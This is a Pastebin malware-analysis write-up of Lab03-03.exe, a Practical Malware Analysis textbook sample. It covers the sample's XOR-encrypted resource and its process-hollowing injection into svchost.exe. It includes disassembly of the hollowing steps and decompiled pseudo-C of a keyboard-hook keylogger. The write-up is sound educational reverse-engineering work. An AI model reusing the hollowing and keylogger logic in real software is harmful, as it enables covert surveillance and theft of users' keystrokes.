Advertisement
Fare9

Lab03-03.exe analysis

Feb 16th, 2020
660
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Markdown 22.21 KB | None | 0 0

Analysis of the binary Lab03-03.exe (SHA1: DAF263702F11DC0430D30F9BF443E7885CF91FCB)

This is one of the samples that we have from the book Practical Malware Analysis for
the class of "Malware Analysis & Engineering", as a way to understand better how the
samples work I will analyze the whole binary instead of doing only a simple static
and simple dynamic analysis.
For the analysis the simple analysis will be included, but also analysis with IDA
will be provided.

Start with simple static binary analysis

First thing we can do is to load in ExeinfoPE the binary in order to recognize if the binary is packed with a known packer. The tool gives us that binary is not packed (or at least didn't recognize any packer), and also it gives us that the binary is compiled with Microsoft Visual C++ (compiled in 2011).
If now we analyze the imports we can find a serie of interesting import functions:

  • Load of resources
    • FreeResource
    • SizeOfResource
    • LockResource
    • LoadResource
    • FindResourceA
  • Process Injection (discovered through advanced analysis)
    • WriteProcessMemory
    • VirtualAllocEx
    • ReadProcessMemory
    • GetThreadContext
    • SetThreadContext
    • CreateProcess (to create the process where to inject).

The process injection also uses another function not present in imports but loaded in runtime through LoadLibrary/GetProcAddress: NtUnmapViewOfSection.
Another interesting string that will be a little hint to know what's happening in execution is: "\svchost.exe"

Knowing how your enemy works

Once we have some information about the binary through its imports and some strings, we can start the process of running the program in a VM.

The analysis is done in VirtualBox, and at the same time of running the binary, I will start process monitor, and process explorer for monitoring execution.

The results of the execution is more or less the next: Lab03-03.exe starts, and creates another process (the binary svchost.exe) from windows, finally Lab03-03.exe finishes. We have now a svchost.exe without parent process running and writing to a file called "practicalmalwareanalysis.log".

So with this we can think that Lab03-03.exe creates a svchost.exe process, replace its content and dies, after that svchost.exe does something and writes to a file. If we open the file, we can see that everything that we've been typing since we executed the program has been recorded in that file.

We can conclude in dynamic that Lab03-03.exe is an injector of a keylogger, this will be completely resolved in an advanced analysis.

Advanced static analysis

Now it's IDA time, if we open the binary in the disassembler, we see the function start in the address 00401ADB. In my case IDA recognizes the main function, if our IDA doesn't detect it, we can check this snippet:

.text:00401B64 E8 D9 03 00 00          call    __setargv
.text:00401B69 E8 1B 03 00 00          call    __setenvp
.text:00401B6E E8 90 00 00 00          call    __cinit
.text:00401B73 A1 F4 52 40 00          mov     eax, envp
.text:00401B78 A3 F8 52 40 00          mov     envp_0, eax
.text:00401B7D 50                      push    eax             ; envp
.text:00401B7E FF 35 EC 52 40 00       push    argv            ; argv
.text:00401B84 FF 35 E8 52 40 00       push    argc            ; argc
.text:00401B8A E8 51 F9 FF FF          call    _main

First thing we have in the binary is a check of argc, the binary checks if argc is below of 2, in other case (not below of 2) it jumps directly to the end of the function.
The first function called in address 0040149D, gets the system directory path (calling the function GetSystemDirectoryA), and finally concatenate to this path the string "\svchost.exe". I renamed the function to "CreatePathToSvcHostFromSystemDirectory:

.text:00401508 68 00 04 00 00          push    400h            ; uSize
.text:0040150D 8D 85 FC FB FF FF       lea     eax, [ebp+svchostPath]
.text:00401513 50                      push    eax             ; lpBuffer
.text:00401514 68 30 50 40 00          push    offset file_name ; "\\svchost.exe"
.text:00401519 E8 7F FF FF FF          call    CreatePathToSvcHostFromSystemDirectory

And inside of the function:

.text:004014A0 8B 45 10                mov     eax, [ebp+uSize]
.text:004014A3 50                      push    eax             ; uSize
.text:004014A4 8B 4D 0C                mov     ecx, [ebp+lpBuffer]
.text:004014A7 51                      push    ecx             ; lpBuffer
.text:004014A8 FF 15 50 40 40 00       call    ds:GetSystemDirectoryA
...
.text:004014D0 8B 4D 0C                mov     ecx, [ebp+lpBuffer]
.text:004014D3 03 C8                   add     ecx, eax
.text:004014D5 51                      push    ecx             ; char *
.text:004014D6 E8 55 04 00 00          call    _stncat

Some lines after calling to CreatePathToSvcHostFromSystemDirectory, the binary extracts a resource and decrypts it (method in address 0040132C).
Next calls are done to extract and decrypt the resource:

.text:00401362                         loc_401362:             ; "UNICODE"
.text:00401362 68 64 50 40 00          push    offset Type
.text:00401367 68 6C 50 40 00          push    offset Name     ; "LOCALIZATION"
.text:0040136C 8B 45 08                mov     eax, [ebp+hModule]
.text:0040136F 50                      push    eax             ; hModule
.text:00401370 FF 15 4C 40 40 00       call    ds:FindResourceA
...
.text:00401386 8B 4D F0                mov     ecx, [ebp+hResInfo]
.text:00401389 51                      push    ecx             ; hResInfo
.text:0040138A 8B 55 08                mov     edx, [ebp+hModule]
.text:0040138D 52                      push    edx             ; hModule
.text:0040138E FF 15 48 40 40 00       call    ds:LoadResource
...
.text:004013A2                         loc_4013A2:
.text:004013A2 8B 45 EC                mov     eax, [ebp+hResData]
.text:004013A5 50                      push    eax             ; hResData
.text:004013A6 FF 15 44 40 40 00       call    ds:LockResource ; this returns a pointer to loaded resource
...
.text:004013B7 8B 4D F0                mov     ecx, [ebp+hResInfo]
.text:004013BA 51                      push    ecx             ; hResInfo
.text:004013BB 8B 55 08                mov     edx, [ebp+hModule]
.text:004013BE 52                      push    edx             ; hModule
.text:004013BF FF 15 40 40 40 00       call    ds:SizeofResource
...
004013DD FF 15 0C 40 40 00       call    ds:VirtualAlloc
...
.text:004013EE 8B 4D F4                mov     ecx, [ebp+dwSize]
.text:004013F1 51                      push    ecx             ; size_t
.text:004013F2 8B 55 FC                mov     edx, [ebp+pointerToLoadedResource]
.text:004013F5 52                      push    edx             ; void *
.text:004013F6 8B 45 F8                mov     eax, [ebp+allocatedMemory]
.text:004013F9 50                      push    eax             ; void *
.text:004013FA E8 F1 01 00 00          call    _memcpy         ; copy resource in memory to allocated memory
.text:004013FA                                                 ; with VirtualAlloc
...
.text:0040141B 6A 41                   push    41h
.text:0040141D 8B 55 F4                mov     edx, [ebp+dwSize]
.text:00401420 52                      push    edx             ; sizeOfBuffer
.text:00401421 8B 45 F8                mov     eax, [ebp+allocatedMemory]
.text:00401424 50                      push    eax             ; codeBuffer
.text:00401425 E8 D6 FB FF FF          call    decryption

The last call is done to a method which simply loops byte by byte, until reach the given size as parameter, and xoring each byte with the key given as third parameter (0x41). This would be a pseudo-C of the method

int __cdecl decryptionMethod(LPVOID codeBuffer, SIZE_T sizeOfBuffer, byte key)
{
  int result; // eax@3
  SIZE_T i; // [sp+0h] [bp-4h]@1

  for ( i = 0; i < sizeOfBuffer; ++i )
  {
    *((_BYTE *)codeBuffer + i) ^= key;
    result = i + 1;
  }
  return result;
}

Finally in the address 004010EA we have to process injection (also known as Process Hollowing, here you can find more information Process Hollowing Explained)

First thing we can see are two checks of the buffer given as parameters, one checks if 'MZ' header is correct, and the other if 'PE' header is correct:

.text:004010FB 66 8B 11                mov     dx, [ecx]
.text:004010FE 81 FA 4D 5A 00 00       cmp     edx, 'ZM
...
.text:0040110D 8B 4D 0C                mov     ecx, [ebp+bufferWithDecryptedFile]
.text:00401110 03 48 3C                add     ecx, [eax+IMAGE_DOS_HEADER.e_lfanew]
.text:00401113 89 4D F8                mov     [ebp+pe_header], ecx
.text:00401116 8B 55 F8                mov     edx, [ebp+pe_header]
.text:00401119 81 3A 50 45 00 00       cmp     dword ptr [edx], 'EP'

Then the process <system_directory>\schost.exe is created. If creation is correct, the sample unmap the memory of the remote process, and allocates space for the new content:

.text:004011FE                         _unmap_process_memory_and_allocated_new_one:
.text:004011FE 8B 45 94                mov     eax, [ebp+Buffer]
.text:00401201 50                      push    eax
.text:00401202 8B 4D E8                mov     ecx, [ebp+ProcessInformation.hProcess]
.text:00401205 51                      push    ecx
.text:00401206 FF 55 9C                call    [ebp+NtUnmapViewOfSection]
.text:00401209 6A 40                   push    PAGE_EXECUTE_READWRITE ; flProtect
.text:0040120B 68 00 30 00 00          push    MEM_COMMIT or MEM_RESERVE ; flAllocationType
.text:00401210 8B 55 F8                mov     edx, [ebp+pe_header]
.text:00401213 8B 42 50                mov     eax, [edx+IMAGE_NT_HEADERS32.OptionalHeader.SizeOfImage]
.text:00401216 50                      push    eax             ; dwSize
.text:00401217 8B 4D F8                mov     ecx, [ebp+pe_header]
.text:0040121A 8B 51 34                mov     edx, [ecx+IMAGE_NT_HEADERS32.OptionalHeader.ImageBase]
.text:0040121D 52                      push    edx             ; lpAddress
.text:0040121E 8B 45 E8                mov     eax, [ebp+ProcessInformation.hProcess]
.text:00401221 50                      push    eax             ; hProcess
.text:00401222 FF 15 24 40 40 00       call    ds:VirtualAllocEx

First thing to copy in new allocated memory is the binary header, it's easy to get the size as there's a field from the header that says the size of the header:

.text:0040123E 8B 4D F8                mov     ecx, [ebp+pe_header]
.text:00401241 8B 51 54                mov     edx, [ecx+IMAGE_NT_HEADERS32.OptionalHeader.SizeOfHeaders]
.text:00401244 52                      push    edx             ; nSize
.text:00401245 8B 45 0C                mov     eax, [ebp+bufferWithDecryptedFile]
.text:00401248 50                      push    eax             ; lpBuffer
.text:00401249 8B 4D 98                mov     ecx, [ebp+baseAddressRemoteProcess]
.text:0040124C 51                      push    ecx             ; lpBaseAddress
.text:0040124D 8B 55 E8                mov     edx, [ebp+ProcessInformation.hProcess]
.text:00401250 52                      push    edx             ; hProcess
.text:00401251 FF 15 20 40 40 00       call    ds:WriteProcessMemory ; write header to new process

From the address 0040125E, to the address 004012B9, we have a loop to copy all the sections to the created process. The body of the loop is the next one:

.text:00401269                 mov     ecx, [ebp+pe_header]
.text:0040126C                 xor     edx, edx
.text:0040126E                 mov     dx, [ecx+IMAGE_NT_HEADERS32.FileHeader.NumberOfSections]
.text:00401272                 cmp     [ebp+sectionCounter], edx
.text:00401275                 jge     short _end_of_loop
.text:00401277                 mov     eax, [ebp+bufferWithDecryptedFileCPY]
.text:0040127A                 mov     ecx, [ebp+bufferWithDecryptedFile]
.text:0040127D                 add     ecx, [eax+IMAGE_DOS_HEADER.e_lfanew]
.text:00401280                 mov     edx, [ebp+sectionCounter]
.text:00401283                 imul    edx, 28h
.text:00401286                 lea     eax, [ecx+edx+(size IMAGE_NT_HEADERS32)] ; point to the different IMAGE_SECTION_HEADER
.text:0040128D                 mov     [ebp+image_section_header], eax
.text:00401290                 push    0               ; lpNumberOfBytesWritten
.text:00401292                 mov     ecx, [ebp+image_section_header]
.text:00401295                 mov     edx, [ecx+IMAGE_SECTION_HEADER.SizeOfRawData]
.text:00401298                 push    edx             ; nSize
.text:00401299                 mov     eax, [ebp+image_section_header]
.text:0040129C                 mov     ecx, [ebp+bufferWithDecryptedFile]
.text:0040129F                 add     ecx, [eax+IMAGE_SECTION_HEADER.PointerToRawData]
.text:004012A2                 push    ecx             ; lpBuffer
.text:004012A3                 mov     edx, [ebp+image_section_header]
.text:004012A6                 mov     eax, [ebp+baseAddressRemoteProcess]
.text:004012A9                 add     eax, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
.text:004012AC                 push    eax             ; lpBaseAddress
.text:004012AD                 mov     ecx, [ebp+ProcessInformation.hProcess]
.text:004012B0                 push    ecx             ; hProcess
.text:004012B1                 call    ds:WriteProcessMemory ; write new section to remote process memory

Finally the Context has to be fixed with the new entry point of the binary, and the main thread of the process has to be resumed:

.text:004012E1                 add     ecx, [eax+IMAGE_NT_HEADERS32.OptionalHeader.AddressOfEntryPoint]
.text:004012E4                 mov     edx, [ebp+lpContext]
.text:004012E7                 mov     [edx+WOW64_CONTEXT._Eax], ecx
.text:004012ED                 mov     eax, [ebp+lpContext]
.text:004012F0                 push    eax             ; lpContext
.text:004012F1                 mov     ecx, [ebp+ProcessInformation.hThread]
.text:004012F4                 push    ecx             ; hThread
.text:004012F5                 call    ds:SetThreadContext ; set new context with new entry point for binary
.text:004012FB                 mov     edx, [ebp+ProcessInformation.hThread]
.text:004012FE                 push    edx             ; hThread
.text:004012FF                 call    ds:ResumeThread

As a funny annecdote, if we follow the xrefs of the function ProcessHollowingInjection, we can see that is also called from a method that IDA didn't recognize, as is not called anywhere. This looks like a debugging function to instead of using a resource, read a file from disk and inject it into a process (I've called the function ProcessInjectionDebug, in the address 0040144B).

Here it finishes the analysis of the binary Lab03-03.exe. Now we will extract the localization resource from the binary with Resource Hacker, and finally with a simple python script we can decrypt it with the key 0x41. What we see it's a PE binary that is injected into svchost.exe

Analysis of the binary localization_decrypted.bin (SHA1: 70E39BDFCAA4BCF0021311E8298266E527CF7C97)

Now we have start function at 00401754, and my IDA recognizes the main function, but if not, just search this code snippet:

.text:004017DD call    __setargv
.text:004017E2 call    __setenvp
.text:004017E7 call    __cinit
.text:004017EC mov     eax, envp
.text:004017F1 mov     dword_405B88, eax
.text:004017F6 push    eax             ; envp
.text:004017F7 push    argv            ; argv
.text:004017FD push    argc            ; argc
.text:00401803 call    _main

The first three called functions are intented to hide the console from the process, here we can see a pseudo-C of the functions:

  AllocConsole();
  hWnd = FindWindowA(ClassName, 0);
  if ( hWnd )
    ShowWindow(hWnd, SW_HIDE);

As we saw previously with the basic dynamic analysis, this sample is a keylogger, we can find at least two types of keylogger:

  • One that calls GetAsyncKeyState to check for each key if it has been pressed (polling)
  • Or the other, and the one used here, a keylogger that installs a hook in the keyboard (hooking)

This last type, just sets a hook function, that each time a key is pressed. Here is the code used to do that:

.text:00401053 push    eax             ; hmod
.text:00401054 push    offset windowsHookFunction ; lpfn
.text:00401059 push    WH_KEYBOARD_LL  ; idHook
.text:0040105B call    ds:SetWindowsHookExA

Now the analysis must go to the function that I've called windowsHookFunction.

Inside of the function, we can find typical code for keyloggers, one of the parameters is "wParam", this is checked against the constant values: WM_SYSKEYDOWN, WM_KEYDOWN. And in case wParam is equals to any of those, it calls a function named as "keyloggerWriteToFile", the third parameter "lParam" is casted to a pointer to the structure KBDLLHOOKSTRUCT, and from that structure the field "vkCode" is taken and given to "keyloggerWriteToFile":

.text:0040108F                 cmp     [ebp+wParam], WM_SYSKEYDOWN
.text:00401096                 jz      short loc_4010A1
.text:00401098                 cmp     [ebp+wParam], 100h ; WM_KEYDOWN
.text:0040109F                 jnz     short _end_of_function
.text:004010A1
.text:004010A1 loc_4010A1:                             ; CODE XREF: windowsHookFunction+10j
.text:004010A1                 mov     eax, [ebp+lParam]
.text:004010A4                 mov     ecx, [eax+KBDLLHOOKSTRUCT.vkCode]
.text:004010A6                 push    ecx             ; keystroke
.text:004010A7                 call    keyloggerWriteToFile

This function is in the address 004010C7, first it opens the file "practicalmalwareanalysis.log", it extracts the Foreground window text (title of foreground window) and writes it in the file as:

\r\n[Window: <name_of_the_window>]\r\n

Finally the previous parameter (renamed as keystroke) is compared against different values, as some keys are not ASCII a switch block is necessary to write in the log file different values, for example:

  • [SHIFT]
  • [ENTER]
  • [TAB]
  • [CTRL]
  • [DEL]
  • Numbers from 0 to 9
  • [CAPS LOCK]

If keystroke is not any of those, it will be a letter from A to Z, for those that are lower case, it adds 32 to the keystroke, the pseudo-C is the next one:

int __cdecl keyloggerWriteToFile(int keystroke)
{
  int result; // eax@1
  HWND v2; // eax@2
  DWORD v3; // eax@3
  DWORD v4; // eax@14
  DWORD v5; // eax@28
  HANDLE hFile; // [sp+4h] [bp-8h]@1
  DWORD NumberOfBytesWritten; // [sp+8h] [bp-4h]@1

  NumberOfBytesWritten = 0;
  result = (int)CreateFileA(FileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  hFile = (HANDLE)result;
  if ( result != -1 )
  {
    SetFilePointer((HANDLE)result, 0, 0, FILE_END);
    v2 = GetForegroundWindow();
    GetWindowTextA(v2, foregroundWindow, 1024);
    if ( strcmp(lastForeGroundWindow, foregroundWindow) )
    {
      WriteFile(hFile, aWindow, 0xCu, &NumberOfBytesWritten, 0);
      v3 = strlen(foregroundWindow);
      WriteFile(hFile, foregroundWindow, v3, &NumberOfBytesWritten, 0);
      WriteFile(hFile, end_of_window_string, 4u, &NumberOfBytesWritten, 0);
      strncpy(lastForeGroundWindow, foregroundWindow, 0x3FFu);
      lastForeGroundWindow[1023] = 0;
    }
    if ( (unsigned int)keystroke < 0x27 || (unsigned int)keystroke > 0x40 )
    {
      if ( (unsigned int)keystroke <= 0x40 || keystroke >= (unsigned int)'[' )
      {
        switch ( keystroke )
        {
          case 32:
            WriteFile(hFile, space_character, 1u, &NumberOfBytesWritten, 0);
            break;
          case 16:
            WriteFile(hFile, aShift, 7u, &NumberOfBytesWritten, 0);
            break;
          case 13:
            WriteFile(hFile, aEnter, 8u, &NumberOfBytesWritten, 0);
            break;
          case 8:
            v4 = strlen(aBackspace);
            WriteFile(hFile, aBackspace_0, v4, &NumberOfBytesWritten, 0);
            break;
          case 9:
            WriteFile(hFile, aTab, 5u, &NumberOfBytesWritten, 0);
            break;
          case 17:
            WriteFile(hFile, aCtrl, 6u, &NumberOfBytesWritten, 0);
            break;
          case 46:
            WriteFile(hFile, aDel, 5u, &NumberOfBytesWritten, 0);
            break;
          case 96:
            WriteFile(hFile, a0, 1u, &NumberOfBytesWritten, 0);
            break;
          case 97:
            WriteFile(hFile, a1, 1u, &NumberOfBytesWritten, 0);
            break;
          case 98:
            WriteFile(hFile, a2, 1u, &NumberOfBytesWritten, 0);
            break;
          case 99:
            WriteFile(hFile, a3, 1u, &NumberOfBytesWritten, 0);
            break;
          case 100:
            WriteFile(hFile, a4, 1u, &NumberOfBytesWritten, 0);
            break;
          case 101:
            WriteFile(hFile, a5, 1u, &NumberOfBytesWritten, 0);
            break;
          case 102:
            WriteFile(hFile, a6, 1u, &NumberOfBytesWritten, 0);
            break;
          case 103:
            WriteFile(hFile, a7, 1u, &NumberOfBytesWritten, 0);
            break;
          case 104:
            WriteFile(hFile, a8, 1u, &NumberOfBytesWritten, 0);
            break;
          case 105:
            WriteFile(hFile, a9, 1u, &NumberOfBytesWritten, 0);
            break;
          case 20:
            v5 = strlen(aCapsLock);
            WriteFile(hFile, aCapsLock_0, v5, &NumberOfBytesWritten, 0);
            break;
          default:
            break;
        }
      }
      else
      {
        keystroke += 32;
        WriteFile(hFile, &keystroke, 1u, &NumberOfBytesWritten, 0);
      }
    }
    else
    {
      WriteFile(hFile, &keystroke, 1u, &NumberOfBytesWritten, 0);
    }
    result = CloseHandle(hFile);
  }
  return result;
}

After processing the keystroke, the process calls CallNextHook so system can call other keyboard hooks (necessary to avoid simple detections).

This is the analysis of Lab03-03.exe from Practical Malware Analysis in depth, I saw it as a good exercise to remember the way that executable files were analyzed. I hope you can follow it, and learn how this exercise works

Advertisement
Add Comment
Please, Sign In to add comment
Advertisement